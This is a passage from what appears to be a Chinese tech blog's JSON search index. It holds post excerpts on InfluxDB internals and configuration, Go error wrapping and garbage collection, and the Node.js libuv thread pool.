\"result_measurement\" FROM \"source_measurement\" GROUP BY time(1h) END 如果没有 RESAMPLE EVERY 30m ,只有 GROUP BY time(1h) 将会: 在 8:00 执行 CQ ,数据范围是 [ 7:00 , 8:00 ) 在 9:00 执行 CQ ,数据范围是 [ 8:00 , 9:00 ) 增加了 RESAMPLE EVERY 30m 之后,每 30m 执行一次 CQ : 在 8:00 执行 CQ ,数据范围是 [ 7:00 , 8:00 ) 在 8:30 执行 CQ ,数据范围是 [ 8:00 , 9:00 ) 在 9:00 执行 CQ ,数据范围是 [ 8:00 , 9:00 ) ,由于执行结果的 time 字段是 8:00 与上一次 CQ 一致,因此会覆盖上一次 CQ 的结果。 当 EVERY 的时间间隔小于 GROUP BY time() 时,会增加 CQ 的执行频率(如上述示例)。 当 EVERY 与 GROUP BY time() 的时间间隔一致时,无影响。 当 EVERY 的时间间隔大于 GROUP BY time() 时,CQ 执行时间和数据范围完全由 EVERY 控制,例如 EVERY 30m ,GROUP BY tim","date":"2019-11-06","objectID":"/6/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(六)","uri":"/6/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(五)","date":"2019-10-30","objectID":"/5/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(五)","uri":"/5/"},{"categories":["InfluxDB"],"content":" 系统监控 InfluxDB 自带有一个监控系统,默认情况下此功能是开启的,每隔 10 秒中采集一次系统数据并把数据写入到 _internal 数据库中,其默认使用名称为 monitor 的 RP(数据保留 7 天),相关配置见配置文件中的: [monitor] store-enabled = true store-database = \"_internal\" store-interval = \"10s\" _internal 数据库与其它数据库的使用方式完全一致,其记录的统计数据分为多个 measurements : cq :连续查询 database :数据库 httpd :HTTP 相关 queryExecutor :查询执行器 runtime :运行时 shard :分片 subscriber :订阅者 tsm1_cache :TSM cache 缓存 tsm1_engine :TSM 引擎 tsm1_filestore :TSM filestore tsm1_wal :TSM 预写日志 write :数据写入 比如查询最近一次统计的数据写入情况: select * from \"write\" order by time desc limit 1 _internal 数据库里的这些 measurements 中具体有哪些 field ,每个 field 数据又代表了什么含义,请参考官方文档: https://docs.influxdata.com/platform/monitoring/influxdata-platform/tools/measurements-internal/#influxdb-internal-measurements-and-fields InfluxDB 相关命令: show stats show diagnostics 1、 SHOW STATS [ FOR '\u003ccomponent\u003e' | 'indexes' ] show stats 命令返回的系统数据与 _internal 数据库中的数据结构是一致的,这里的 component 其实就是对应 _internal 中的 measurement ,比如: show stats for 'queryExecutor' 唯一例外的是: show stats for 'indexes' 其会返回所有索引使用的内存大小预估值,且没有 _internal 中的 measurement 与之对应。 2、 SHOW DIAGNOSTIC 返回系统的诊断信息,包括:版本信息、正常运行时间、主机名、服务器配置、内存使用情况、Go 运行时等,这些数据不会存储到 _internal 数据库中。 InfluxDB 也支持通过 HTTP 接口获取系统信息: /metrics :这个接口返回的数据是诸如垃圾回收、内存分配等的 Go 相关指标。 /debug/vars :这个接口返回的数据与 _internal 数据类似。 备份和恢复 InfluxDB 支持本地或远程的数据备份和恢复,其是通过 TCP 连接进行的,对于远程方式,你必须修改配置文件中的: bind-address = \"127.0.0.1:8088\" 将其设置为本机在网络上可通信的对外地址,然后重启服务,执行命令时需要通过 -host 参数对应这个地址。 备份命令: 恢复命令: 备份和恢复的命令参数非常相似,参数的含义也是一目了然的,比如你可以备份指定的数据库、RP、shard,恢复到新的数据库、RP 。 由于备份的格式进行过不兼容的更新,-portable 就是指定使用新的备份格式(强烈建议使用),-online 就是老的备份格式。 所有备份都是全量备份,不支持增量备份。你可能会问,不是有 -start 和 -end 可以指定备份数据的时间范围吗?没错,是可以的,但是备份是在数据块上执行,并不是逐点执行,而数据块又是高度压缩的,你使用 -start 和 -end 时,其还会备份到同一个数据块中的其它数据点,也就是说: 备份和还原可能会包含指定时间范围之外的数据。 如果包含重复的数据点,再次写入则会覆盖现有数据点。 另外,恢复数据时,无法直接恢复到一个已经存在的数据库或者 RP 中,为此你只能先使用一个临时的数据库和 RP ,然后再重新将数据插入到已有的数据库中(比如使用 select … into 语句)。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-30","objectID":"/5/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(五)","uri":"/5/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(四)","date":"2019-10-28","objectID":"/4/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(四)","uri":"/4/"},{"categories":["InfluxDB"],"content":" 存储引擎 InfluxDB 数据的写入如下图所示: 所有数据先写入到 WAL( Write Ahead Log )预写日志文件,并同步到 Cache 缓存中,当 Cache 缓存的数据达到了一定的大小,或者达到一定的时间间隔之后,数据会被写入到 TSM 文件中。 为了更高效的存储大量数据,存储引擎会将数据进行压缩处理,压缩的输入和输出都是 TSM 文件,因此为了以原子方式替换以及删除 TSM 文件,存储引擎由 FileStore 负责调节对所有 TSM 文件的访问权限。 Compaction Planner 负责确定哪些 TSM 文件已经准备好了可以进行压缩,并确保多个并发压缩不会互相干扰。 Compactor 压缩器则负责具体的 Compression 压缩工作。 为了处理文件,存储引擎通过 Writers/Readers 处理数据的写和读。另外存储引擎还会使用 In-Memory Index 内存索引快速访问 measurements、tags、series 等数据。 存储引擎的组成部分: In-Memory Index :跨分片的共享内存索引,并不是存储引擎本身特有的,存储引擎只是用到了它。 WAL :预写日志。 Cache :同步缓存 WAL 的内容,并最终刷写到 TSM 文件中去。 TSM Files :特定格式存储最终数据的磁盘文件。 FileStore :调节对磁盘上所有TSM文件的访问。 Compactor :压缩器。 Compaction Planner :压缩计划。 Compression :编码解码压缩。 Writers/Readers :读写文件。 硬件指南 为了应对不同的负载情况,我需要机器具有怎样的硬件配置? 由于集群模式只有商业版本,因此这里只看免费的单机版的情况。 为了定义负载,我们关注以下三个指标: 每秒写入 每秒查询 series 基数 对于查询情况,我们根据复杂程度分为三级: 简单查询: 几乎没用函数和正则表达式 时间范围在几分钟,几小时,或者一天之内 执行时间通常在几毫秒到几十毫秒 中等复杂度查询: 使用了多个函数和一两个正则表达式 可能使用了复杂的 GROUP BY 语句,或者时间范围是几个星期 执行时间通常在几百毫秒到几千毫秒 复杂查询: 使用了多个聚合、转换函数,或者多个正则表达式 时间跨度很大,有几个月或几年 执行时间达到秒级 硬件配置需要关注的有:CPU 核数,RAM 内存大小,IOPS 性能。 IOPS( Input/Output Operations Per Second ):每秒读写数,衡量存储设备(如 SSD 固态硬盘、HDD 机械硬盘等)的性能指标。 不同负载情况下的硬件配置参考如下: 由于 SSD 固态硬盘的性能更高,官方也建议使用 SSD ,上图也是使用 SSD 的情况。 对于元数据,诸如 database name、measurement、tag key、tag value、field key 都只会存储一次,只有 field value 和 timestamp 每个点都存储。非字符串的值大约需要三个字节,字符串的值需要的空间大小不固定,需要由压缩情况确定。 内存肯定是越大越好,但是如果 series 基数超过千万级别,在默认使用的 in-memory 索引方式下,会导致内存溢出,在数据结构设计时需要注意。 通过将 wal 和 data 目录设置到不同的存储设备上,有利于减少磁盘的争用,从而应对更高的写入负载。相关配置项(默认的配置文件为 influxdb.conf ): [data] dir = \"/var/lib/influxdb/data\" wal-dir = \"/var/lib/influxdb/wal\" 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-28","objectID":"/4/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(四)","uri":"/4/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(三)","date":"2019-10-27","objectID":"/3/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"数据类型 InfluxDB 是一个无结构模式,这也就是说你无需事先定义好表以及表的数据结构。 InfluxDB 支持的数据类型非常简单: measurement : string tag key : string tag value : string field key : string field value : string , float , interger , boolean 你可以看到除了 field value 支持的数据类型多一点之外,其余全是字符串类型。 当然还有最重要的 timestamp ,InfluxDB 中的时间都是 UTC 时间,而且时间精度非常高,默认为纳秒。 ","date":"2019-10-27","objectID":"/3/:0:1","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"数据结构设计 在实际使用中,数据都是存储在 tag 或者 field 中,这两者最重要的区别就是,tag 会构建索引(也就是说查询时,where 条件里的是 tag ,则查询性能更高),field 则不会被索引。 存储数据到底是使用 tag 还是 field ,参考以下原则: 常用于查询条件的数据存储为 tag 。 计划使用 GROUP BY() 的数据存储为 tag 。 计划使用 InfluxQL function 的数据存储为 field 。 数据不只是 string 类型的存储为 field 。 对于标识性的名称,如 database、RP、user、measurement、tag key、field key 这些应该避免使用 InfluxQL 中的关键字。 其它需要注意的原则: 不要有过于庞大的 series 。若在 tag 中使用 UUID、hash、随机字符串等将会导致数量庞大的 series ,这将会导致更高的内存使用率,尤其是系统内存有限的情况下需要额外注意。 measurement 名称不应该包含具体的数据(表名就是一个单纯的表名),你应该使用不同的 tag 去区分数据,而不是 measurement 名称。 一个 tag 中不要放置多条信息,复杂的信息合理拆分为多个 tag 有助于简化查询并减少使用正则。 ","date":"2019-10-27","objectID":"/3/:0:2","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"索引 InfluxDB 通过构建索引可以提高查询性能。InfluxDB 中的索引有两种:In-memory 和 TSI 。这两种索引只能选择一种,且无法动态更改,一旦更改必须重启 InfluxDB 。 In-memory :索引被存储在内存中,这也是默认使用的方式,性能更高。 TSI( Time Series Index ):In-memory 索引可以支持千万级别的 series ,然而内存资源终归是有限的,为了支持亿级和十亿级别的 series 数据,TSI 应运而生,其会将索引映射到磁盘文件上。 索引相关配置项(默认的配置文件为 influxdb.conf ): 索引方式,inmem 或者 tsi1 : index-version = \"inmem\" in-memory 相关设置: max-series-per-database = 1000000 max-values-per-tag = 100000 max-series-per-database :每个数据库允许的最大 series 数量,默认一百万,一旦达到上限,再写入新的 series 则会得到一个 500 错误,向已经存在的 series 写入数据不受影响。设置为 0 则意味着没有限制。 max-values-per-tag :每个 tag key 允许的最大 tag values 数量,默认十万,类似的,一旦达到上限,无法写入新的 tag value ,而向已经存在的 tag value 写入数据不受影响。设置为 0 则意味着没有限制。 TSI( tsi1 )相关设置: max-index-log-file-size = \"1m\" series-id-set-cache-size = 100 max-index-log-file-size :预写日志的文件大小达到多大的阈值之后,将其压缩为索引文件,阈值越低,压缩越快,堆内存使用率越低,但会降低写入的吞吐量。 series-id-set-cache-size :使用内存缓存的 series 集的大小,由于 TSI 索引存储在了磁盘文件中,因此使用时需要额外的计算工作,但如果将索引结果缓存起来的话就可以避免重复的计算,提高查询性能。默认缓存 100 个 series ,这个值越大则使用的堆内存越大,设置为 0 则不缓存。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-27","objectID":"/3/:0:3","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(二)","date":"2019-10-26","objectID":"/2/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(二)","uri":"/2/"},{"categories":["InfluxDB"],"content":" RP 先回顾一下 RP 策略( retention policy ),它由三个部分构成: DURATION:数据的保留时长。 REPLICATION:集群模式下数据的副本数,单节点无效。 SHARD DURATION:可选项,shard group 划分的时间范围。 前两个部分没啥好说的,而 shard duration 和 shard group 的概念你可能会感到比较陌生。 shard 是什么? 先来看数据的层次结构: 如果所示,一个 database 对应一个实际的磁盘上的文件夹,该数据库下不同的 RP 策略对应不同的文件夹。 shard group 只是一个逻辑概念,并没有实际的磁盘文件夹,shard group 包含有一个或多个 shard 。 最终的数据是存储在 shard 中的,每个 shard 也对应一个具体的磁盘文件目录,数据是按照时间范围分割存储的,shard duration 也就是划分 shard group 的时间范围(例如 shard duration 如果是一周,那么第一周的数据就会存储到一个 shard group 中,第二周的数据会存储到另外一个 shard group 中,以此类推)。 另外,每个 shard 目录下都有一个 TSM 文件(后缀名为 .tsm ),正是这个文件存储了最后编码和压缩后的数据。shard group 下的 shard 是按照 series 来划分的,每个 shard 包含一组特定的 series ,换句话说特定 shard group 中的特定 series 上的所有 points 点都存储在同一个 TSM 文件中。 shard duration shard 从属于唯一一个 shard group ,shard duration 和 shard group duration 是同一个概念。 如前文所述,数据按照时间范围分割存储,分割的时间范围由 RP 策略中的 shard group duration 指定。 默认情况下,shard group duration 根据 RP duration 的值来确定,对应关系如下图: RP 策略是不可或缺的,如果未设置则会使用默认的名称为 autogen 的 RP ,它的 duration 是 infinite 也就是数据不会过期,shard group duration 是 7 天( duration 是 infinite 对应的就是 \u003e 6 months 这一栏)。 shard group duration 设置为多久才最好? 长时间范围:有利于存储更多数据,整体性能更好。 短时间范围:灵活性更高,有利于删除过期数据和记录增量备份。删除过期数据是删除整个 shard group 而不是单个的 shard 。 默认配置对于大多数场景都运行的很好,然而,高吞吐量或长时间运行的实例将受益于更长的 shard group duration ,官方建议的配置如下: 其它一些需要考虑的因素: shard group 应该包含最频繁查询的最长时间范围的两倍。 每个 shard group 应该包含超过十万个 point 。 shard group 中的每个 series 应该包含超过一千个 point 。 另外,批量插入长时间范围内的大量历史数据将会一次触发大量 shard 的创建,并发访问和写入成百上千的 shard 会导致性能降低和内存耗尽,对于这种情况建议临时设置较长的 shard group duration 比如 52 周。 RP 策略可以动态调整,删除一个 RP 将会删除其下的所有数据。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-26","objectID":"/2/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(二)","uri":"/2/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(一)","date":"2019-10-25","objectID":"/1/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(一)","uri":"/1/"},{"categories":["InfluxDB"],"content":" 数据库种类有很多,比如传统的关系型数据库 RDBMS( 如 MySQL ),NoSQL 数据库( 如 MongoDB ),Key-Value 类型( 如 redis ),Wide column 类型( 如 HBase )等等等等,当然还有本系列文章将会介绍的时序数据库 TSDB( 如 InfluxDB )。 时序数据库 TSDB 不同的数据库针对的应用场景有不同的偏重。TSDB( time series database )时序数据库是专门以时间维度进行设计和优化的。 TSDB 通常具有以下的特点: 时间是不可或缺的绝对主角(就像 MySQL 中的主键一样),数据按照时间顺序组织管理 高并发高吞吐量的数据写入 数据的更新很少发生 过期的数据可以批量删除 InfluxDB 就是一款非常优秀的时序数据库,高居 DB-Engines TSDB rank 榜首。 InfluxDB 分为免费的社区开源版本,以及需要收费的闭源商业版本,目前只有商业版本支持集群。 InfluxDB 的底层数据结构从 LSM 树到 B+ 树折腾了一通,最后自创了一个 TSM 树( Time-Structured Merge Tree ),这也是它性能高且资源占用少的重要原因。 InfluxDB 由 go 语言编写而成,没有额外的依赖,它的查询语言 InfluxQL 与 SQL 极其相似,使用特别简单。 InfluxDB 基本概念 InfluxDB 有以下几个核心概念: 1、database : 数据库。 2、measurement 类似于表。 3、retention policy( 简称 RP ) 保留策略,由以下三个部分构成: DURATION:数据的保留时长。 REPLICATION:集群模式下数据的副本数,单节点无效。 SHARD DURATION:可选项,shard group 划分的时间范围。 4、timestamp 时间戳,就像是所有数据的主键一样。 5、tag tag key = tag value 键值对存储具体的数据,会构建索引有利于查询。tag set 就是 tag key-value 键值对的不同组合。 6、field field key = field value 键值对也是存储具体的数据,但不会被索引。类似的 field set 就是 field key-value 的组合。 7、series 一个 series 序列是由同一个 RP 策略下的同一个 measurement 里的同一个 tag set 构成的数据集合。 8、point 一个 point 点代表了一条数据,由 measurement、tag set、field set、timestamp 组成。一个 series 上的某个 timestamp 时间对应唯一一个 point 。 Line protocol 行协议 行协议指定了写入数据的格式: \u003cmeasurement\u003e[,\u003ctag-key\u003e=\u003ctag-value\u003e...] \u003cfield-key\u003e=\u003cfield-value\u003e[,\u003cfield2-key\u003e=\u003cfield2-value\u003e...] [unix-nano-timestamp] 符号 [] 代表可选项,符号 … 代表可以有多个,符号 ,用来分隔相同 tag 或者 field 下的多个数据,符号空格分隔 tag、field、timestamp 。 示例: 怎么去理解 series 和 point ?先看下图: 这张图选取了三种时序数据库的历年排名得分情况。首先,整个图表可以看成是一个 measurement ,它包含了许多数据;然后我们根据 db 名称构建 tag ,把 score 排名得分作为 field ,那么所有数据行就类似于: measurement,db=InfluxDB score=5 timestamp measurement,db=Kdb+ score=1 timestamp measurement,db=Prometheus score=0.2 timestamp ... 上文说过 tag set 就是 tag key = tag value 的不同组合,因此这里的 tag set 有以下三种: db=InfluxDB db=Kdb+ db=Prometheus 三个 tag set 构成了三个 series ,每个 series 就可以看成是图中的一条线(一个维度),而每个 point 点就是 series 上具体某个 timestamp 对应的点。 与传统数据库的不同 InfluxDB 就是被设计用于处理时间序列的数据。传统SQL数据库虽然也可以处理时间序列数据,但并不是专门以此为目标的。InfluxDB 可以更加高效快速的存储大量时间序列数据并对这些数据进行实时分析。 在 InfluxDB 中,时间是绝对的主角,就像是SQL数据库中的主键一样,如果你不指定则会默认为系统当前时间,时间必须是 UNIX epoch ( GMT ) 或者 RFC3339 格式。 InfluxDB 不需要预先定义好数据的结构,你可以随时改变你的数据结构。InfluxDB 支持 continuous queries(连续查询,就是以时间划分范围自动定期执行某个查询)和 retention policies(保留策略)。InfluxDB 不支持跨 measurement 的 JOIN 查询。 InfluxDB 中的查询语言叫 InfluxQL ,语法与 SQL 极其相似,就是 select from where 那一套。 InfluxDB 并不是 CRUD,更像是 CR-ud ,意思就是更新和删除数据跟传统SQL数据库明显不一样: 更新某个 point 数据,只需向原来的 measurement,tag set,timestamp 重写数据即可。 你可以删除 series ,但是不能基于 field 值去删除独立的 points ,解决方法是,你需要先查询 field 值的时间戳,然后根据时间戳去删除。 无法更新或重命名 tags ,因为 tags 会构建索引,你只能创建新的 tags 并导入数据然后删除老的。 无法通过 tag key 或者 tag value 去删除 tags 。 设计与权衡之道 InfluxDB 为了更高的性能做了一些设计与权衡之道: 1、对于时间序列用例,即使相同的数据被发送多次也会被认为是同一笔数据。 优点:简化了冲突,提高了写入性能。 缺点:不能存储重复数据,可能会在极少数情况下覆盖数据。 2、删除是罕见的,当它们发生时肯定是针对大量的旧数据。 优点:提高了读写性能。 缺点:删除功能受到了很大限制。 3、更新是罕见的,持续或者大批量的更新不会发生。时间序列的数据主要是永远也不会更新的新数据。 优点:提高了读写性能。 缺点:更新功能受到了很大限制。 4、绝大多数写入都是接近当前时间戳的数据,并且是按时间递增顺序添加。 优点:按时间递增的顺序写入数据更高效。 缺点:随机时间写入的性能要低很多。 5、数据规模至关重要,数据库必须能够处理大量的读写。 优点:数据库可以处理大批量数据的读写。 缺点:被迫做出的一些权衡去提高性能。 6、能够写入和查询数据比具有强一致性更重要。 优点:多个客户端可以在高负载的情况下完成查询和写入操作。 缺点:如果负载过高,查询结果可能不包含最近的点。 7、许多时间序列都是短暂的。时间序列可能只有几个小时然后就没了,比如一台新的主机开机,监控数据写入一段时间,然后关机了。 优点:InfluxDB 善于管理不连续的数据。 缺点:无模式设计意味着不支持某些数据库功能,例如没有 join 交叉表连接。 8、No one point is too important 。 优点:InfluxDB 具有非常强大的工具去处理聚合数据和大数据集。 缺点:Points 数据点没有传统意义上的 ID ,它们被时间戳和 series 区分。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-25","objectID":"/1/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(一)","uri":"/1/"},{"categories":["Golang"],"content":"Go Errors 错误处理","date":"2019-10-18","objectID":"/errors/","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"Golang 中的 error 是一个内置的特殊的接口类型: type error interface { Error() string } 在 Go 1.13 版本之前,有关 error 的方法只有两个: errors.New : func New(text string) error fmt.Errorf : func Errorf(format string, a ...interface{}) error 这两个方法都是用来生成一个新的 error 类型的数据。 ","date":"2019-10-18","objectID":"/errors/:0:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"1.13 版本之前的错误处理 最常见的,判断是否为 nil : if err != nil { // something went wrong } 判断是否为某个特定的错误: var ErrNotFound = errors.New(\"not found\") if err == ErrNotFound { // something wasn't found } error 是一个带有 Error 方法的接口类型,这意味着你可以自己去实现这个接口: type NotFoundError struct { Name string } func (e *NotFoundError) Error() string { return e.Name + \": not found\" } if e, ok := err.(*NotFoundError); ok { // e.Name wasn't found } 处理错误的时候我们通常会添加一些额外的信息,记录错误的上下文以便于后续排查: if err != nil { return fmt.Errorf(\"错误上下文 %v: %v\", name, err) } fmt.Errorf 方法会创建一个包含有原始错误文本信息的新的 error ,但是与原始错误之间是没有任何关联的。 然而我们有时候是需要保留这种关联性的,这时候就需要我们自己去定义一个包含有原始错误的新的错误类型,比如自定义一个 QueryError : type QueryError struct { Query string Err error // 与原始错误关联 } 然后可以判断这个原始错误是否为某个特定的错误,比如 ErrPermission : if e, ok := err.(*QueryError); ok \u0026\u0026 e.Err == ErrPermission { // query failed because of a permission problem } 写到这里,你可以发现对于错误的关联嵌套情况处理起来是比较麻烦的,而 Go 1.13 版本对此做了改进。 ","date":"2019-10-18","objectID":"/errors/:1:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"1.13 版本之后的错误处理 首先需要说明的是,Go 是向下兼容的,上文中的 1.13 版本之前的用法完全可以继续使用。 1.13 版本的改进是: 新增方法 errors.Unwrap : func Unwrap(err error) error 新增方法 errors.Is : func Is(err, target error) bool 新增方法 errors.As : func As(err error, target interface{}) bool fmt.Errorf 方法新增了 %w 格式化动词,返回的 error 自动实现了 Unwrap 方法。 下面进行详细说明。 对于错误嵌套的情况,Unwrap 方法可以用来返回某个错误所包含的底层错误,例如 e1 包含了 e2 ,这里 Unwrap e1 就可以得到 e2 。Unwrap 支持链式调用(处理错误的多层嵌套)。 使用 errors.Is 和 errors.As 方法检查错误: errors.Is 方法检查值: if errors.Is(err, ErrNotFound) { // something wasn't found } errors.As 方法检查特定错误类型: var e *QueryError if errors.As(err, \u0026e) { // err is a *QueryError, and e is set to the error's value } errors.Is 方法会对嵌套的情况展开判断,这意味着: if e, ok := err.(*QueryError); ok \u0026\u0026 e.Err == ErrPermission { // query failed because of a permission problem } 可以直接简写为: if errors.Is(err, ErrPermission) { // err, or some error that it wraps, is a permission problem } fmt.Errorf 方法通过 %w 包装错误: if err != nil { return fmt.Errorf(\"错误上下文 %v: %v\", name, err) } 上面通过 %v 是直接返回一个与原始错误无法关联的新的错误。 我们使用 %w 就可以进行关联了: if err != nil { // Return an error which unwraps to err. return fmt.Errorf(\"错误上下文 %v: %w\", name, err) } 一旦使用 %w 进行了关联,就可以使用 errors.Is 和 errors.As 方法了: err := fmt.Errorf(\"access denied: %w”, ErrPermission) ... if errors.Is(err, ErrPermission) ... 对于是否包装错误以及如何包装错误并没有统一的答案。 ","date":"2019-10-18","objectID":"/errors/:2:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"参考资料 https://blog.golang.org/go1.13-errors ","date":"2019-10-18","objectID":"/errors/:3:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"Go 垃圾回收","date":"2019-09-25","objectID":"/gc/","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"Garbage Collection( GC )也就是垃圾回收到底是什么?内存空间是有限的,诸如变量等需要分配内存才能存储数据,而当这个变量不再使用的时候就需要释放它占用的内存,这就是垃圾回收。 Go 的垃圾回收运行在后台的守护线程中,会自动追踪检查对象的使用情况,然后回收不再使用的空间,我们一般并不会也不需要直接接触到它。 ","date":"2019-09-25","objectID":"/gc/:0:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"GC 模型 Go 使用的是 Mark-Sweep(标记-清除)方式,其具体的垃圾回收算法一直都在调整优化,本文并不打算去介绍这些算法,而是从一个整体的角度去描述 GC 的过程。 Collection 可以分为三个阶段: Mark Setup - STW Marking - Concurrent Mark Termination - STW STW 是 Stop The World 的缩写,意思是 GC 的时候会暂停其它所有任务,正是如此才导致了延迟的存在。 ","date":"2019-09-25","objectID":"/gc/:1:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"1、Mark Setup - STW 垃圾回收开始,首先需要开启 Write Barrier(写屏障),为此所有应用程序 goroutine 必须暂停,这个过程通常很快,平均 10 - 30 微秒。 假设应用程序当前运行了四个 goroutine : 我们需要等待所有 goroutine 暂停,而暂停操作是需要出现一次函数调用才能完成,如果某个 goroutine 始终没有发生函数调用(比如一直在执行某个非常长的循环操作)而其它 goroutine 却完成了会怎样,就会如下图: 然而,必须所有的 goroutine 全部都暂停,垃圾回收才能继续进行,不然就会卡在这里一直等待,结果就是延迟越来越高。这个问题官方团队计划将在 1.14 版本通过优先策略进行优化。 一旦这一阶段完成,Write Barrier(写屏障)开启,就会进入下一阶段。 ","date":"2019-09-25","objectID":"/gc/:1:1","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"2、Marking - Concurrent 进行标记,Concurrent 表示这个过程是并发进行的,不会 STW ,GC 会先征用 25% 的 CPU 资源,如下图: GC 占用了 P1 逻辑处理器,而其它 goroutine 正常的并发运行。 但是,有些时候 GC 的任务特别繁重,需要更多的资源,这个时候怎么办?开启 Mark Assit 协助工作,如下图中的 MA : 标记完成,进行下一个阶段。 ","date":"2019-09-25","objectID":"/gc/:1:2","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"3、Mark Termination - STW 标记终止。关闭 Write Barrier(写屏障),执行各种清理任务,然后计算下一次 GC 的目标,这个阶段也是需要 STW 的,平均 60 - 90 微秒: 一旦 GC 完成,goroutine 继续执行: ","date":"2019-09-25","objectID":"/gc/:1:3","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"Sweeping - Concurrent Sweeping(清除)需要等待 collection 完成之后,回收被标记为未使用的值的内存,这个过程发生在应用程序 goroutine 尝试给新值分配内存空间时,Sweeping 的延迟将会增加内存分配的成本。 ","date":"2019-09-25","objectID":"/gc/:1:4","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"延迟优化 虽然 Go 的 GC 很优秀,但正如前文所述,GC 的延迟还是会拖累应用程序的,那么我们在应用程序中可以进行怎么的优化呢? 答案是降低内存的压力即分配内存的频率,比如使用 slice 时,尽量避免因为容量不够了而导致分配更多的内存的频率。 如何调试我们的程序去发现需要优化的地方? 1、开启 gotrace 追踪各种指标: GODEBUG=gctrace=1 通过指标数据可以看到各个过程及耗时情况,比如: 2、使用 pprof 具体用法请自行参考其它资料。 ","date":"2019-09-25","objectID":"/gc/:2:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"参考资料 https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html https://www.ardanlabs.com/blog/2019/05/garbage-collection-in-go-part2-gctraces.html https://www.ardanlabs.com/blog/2019/07/garbage-collection-in-go-part3-gcpacing.html ","date":"2019-09-25","objectID":"/gc/:3:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Uncate"],"content":"CPU 密集型任务会阻塞 Node.js 吗【译】","date":"2019-09-24","objectID":"/nodejs-thread-block/","tags":["Node.js"],"title":"CPU 密集型任务会阻塞 Node.js 吗【译】","uri":"/nodejs-thread-block/"},{"categories":["Uncate"],"content":"本文翻译自: https://betterprogramming.pub/is-node-js-really-single-threaded-7ea59bcc8d64 CPU密集型任务会阻塞 Node.js 吗? 让我们使用加密任务做个简单测试: 如图所示,连续执行四次加密任务,打印耗时,结果会发生什么? 结果输出: Hash: 1232 Hash: 1237 Hash: 1268 Hash: 1297 这四次加密任务计时的起始时间都是相同的,然后最终的结束时间却几乎一致,这个结果说明了什么?说明它们是并发执行的。 如果不是并发执行,那么结果就会如下图所示: 那么为什么这里没有发生阻塞? Node.js 的执行过程如上图所示,我们要注意的是 libuv 默认使用了四个线程!上述示例中的四个加密任务分别推送到了四个不同的线程中去并发执行,所以才没有发生阻塞。 那么问题来了?如果连续执行五个加密任务呢? 输出结果: Hash: 1432 Hash: 1437 Hash: 1468 Hash: 1497 Hash: 2104 可以看到前四个任务仍然是并发执行的,但是第五个任务发生了阻塞。 为什么?因此 libuv 的四个线程都在忙碌,第五个任务只有等待线程的任务执行完毕才能推送到线程中去执行。 过程如下图所示: 1、四个线程都在忙碌,其它任务必须等待: 2、某个线程任务完成,继续执行其它任务: libuv 线程池中的线程数量是否可以设置? 通过环境变量 UV_THREADPOOL_SIZE 即可设置。 比如: 我把线程数设置为 5 